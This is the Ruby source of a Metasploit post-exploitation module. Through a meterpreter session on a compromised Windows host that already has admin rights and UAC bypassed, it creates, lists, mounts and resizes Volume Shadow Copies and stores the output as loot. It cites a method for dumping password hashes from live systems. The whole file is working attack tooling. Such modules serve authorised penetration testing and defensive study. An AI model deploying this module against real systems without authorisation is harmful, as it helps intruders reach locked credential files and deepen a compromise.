modules/post/windows/manage/vss.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::Windows::FileSystem
include Msf::Post::Windows::Priv
include Msf::Post::Windows::ShadowCopy
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Manage Volume Shadow Copies',
'Description' => %q{
This module will perform management actions for Volume Shadow Copies on the system. This is based on the VSSOwn
Script originally posted by Tim Tomes and Mark Baggett.
Works on win2k3 and later.
},
'License' => MSF_LICENSE,
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['theLightCosine'],
'References' => [
[ 'URL', 'https://web.archive.org/web/20201111212952/https://securityweekly.com/2011/11/02/safely-dumping-hashes-from-liv/' ]
],
'Actions' => [
[ 'VSS_CREATE', { 'Description' => 'Create a new VSS copy' } ],
[ 'VSS_LIST_COPIES', { 'Description' => 'List VSS copies' } ],
[ 'VSS_MOUNT', { 'Description' => 'Mount a VSS copy' } ],
[ 'VSS_UNMOUNT', { 'Description' => 'Unmount a VSS copy' } ],
[ 'VSS_GET_INFO', { 'Description' => 'Get VSS information' } ],
[ 'VSS_SET_MAX_STORAGE_SIZE', { 'Description' => 'Set the VSS maximum storage size' } ]
],
'DefaultAction' => 'VSS_GET_INFO',
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_delete_dir
]
}
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptInt.new('SIZE', [ false, 'Size in bytes to set for max storage.' ], conditions: %w[ACTION == VSS_SET_MAX_STORAGE_SIZE]),
OptString.new('VOLUME', [ false, 'Volume to make a copy of.', 'C:\\' ], conditions: %w[ACTION == VSS_CREATE]),
OptString.new('DEVICE', [ false, 'DeviceObject of the shadow copy to mount.' ], conditions: %w[ACTION == VSS_MOUNT]),
OptString.new('PATH', [ false, 'Path to use for mounting the shadow copy.', 'ShadowCopy' ], conditions: ['ACTION', 'in', %w[VSS_MOUNT VSS_UNMOUNT] ])
]
)
end
def run
# all conditional options are required when active, make sure none of them are blank
options.each_pair do |name, option|
next if option.conditions.empty?
next unless Msf::OptCondition.show_option(self, option)
fail_with(Failure::BadConfig, "The #{name} option is required by the #{action.name} action.") if datastore[name].blank?
end
fail_with(Failure::NoAccess, 'This module requires administrative privileges to run') unless is_admin?
fail_with(Failure::NoAccess, 'This module requires UAC to be bypassed first') if is_uac_enabled?
fail_with(Failure::Unknown, 'Failed to start the necessary VSS services') unless start_vss
send("action_#{action.name.downcase}")
end
def action_vss_create
if (id = create_shadowcopy(datastore['VOLUME']))
print_good "Shadow Copy #{id} created!"
end
end
def action_vss_get_info
return unless (storage_data = vss_get_storage)
tbl = Rex::Text::Table.new(
'Header' => 'Shadow Copy Storage Data',
'Indent' => 2,
'Columns' => ['Field', 'Value']
)
storage_data.each_pair { |k, v| tbl << [k, v] }
print_good(tbl.to_s)
store_loot('host.shadowstorage', 'text/plain', session, tbl.to_s, 'shadowstorage.txt', 'Shadow Copy Storage Info')
end
def action_vss_mount
print_status('Creating the symlink...')
device = datastore['DEVICE']
unless device =~ %r{^([/\\])\1\?\1GLOBALROOT\1Device\1([\w\- ]+)\1?$}
fail_with(Failure::BadConfig, 'The DEVICE parameter is incorrect, it should begin with \\\\?\\GLOBALROOT\\Device\\')
end
device << Regexp.last_match(1) unless device.end_with?(Regexp.last_match(1)) # the DEVICE parameter needs to end with / or the link will be created successfully but will not work
if create_symlink(datastore['PATH'], device, directory: true)
print_good('Mounted successfully')
end
end
def action_vss_unmount
print_status('Deleting the symlink...')
session.fs.dir.rmdir(datastore['PATH'])
end
def action_vss_list_copies
shadow_copies = vss_list
return if shadow_copies.empty?
list = ''
shadow_copies.each do |copy|
tbl = Rex::Text::Table.new(
'Header' => 'Shadow Copy Data',
'Indent' => 2,
'Columns' => ['Field', 'Value']
)
copy.each_pair { |k, v| tbl << [k, v] }
list << " #{tbl} \n\n"
print_good tbl.to_s
end
store_loot('host.shadowcopies', 'text/plain', session, list, 'shadowcopies.txt', 'Shadow Copy Info')
end
def action_vss_set_max_storage_size
if vss_set_storage(datastore['SIZE'])
print_good('Size updated successfully')
else
print_error('There was a problem updating the storage size')
end
end
end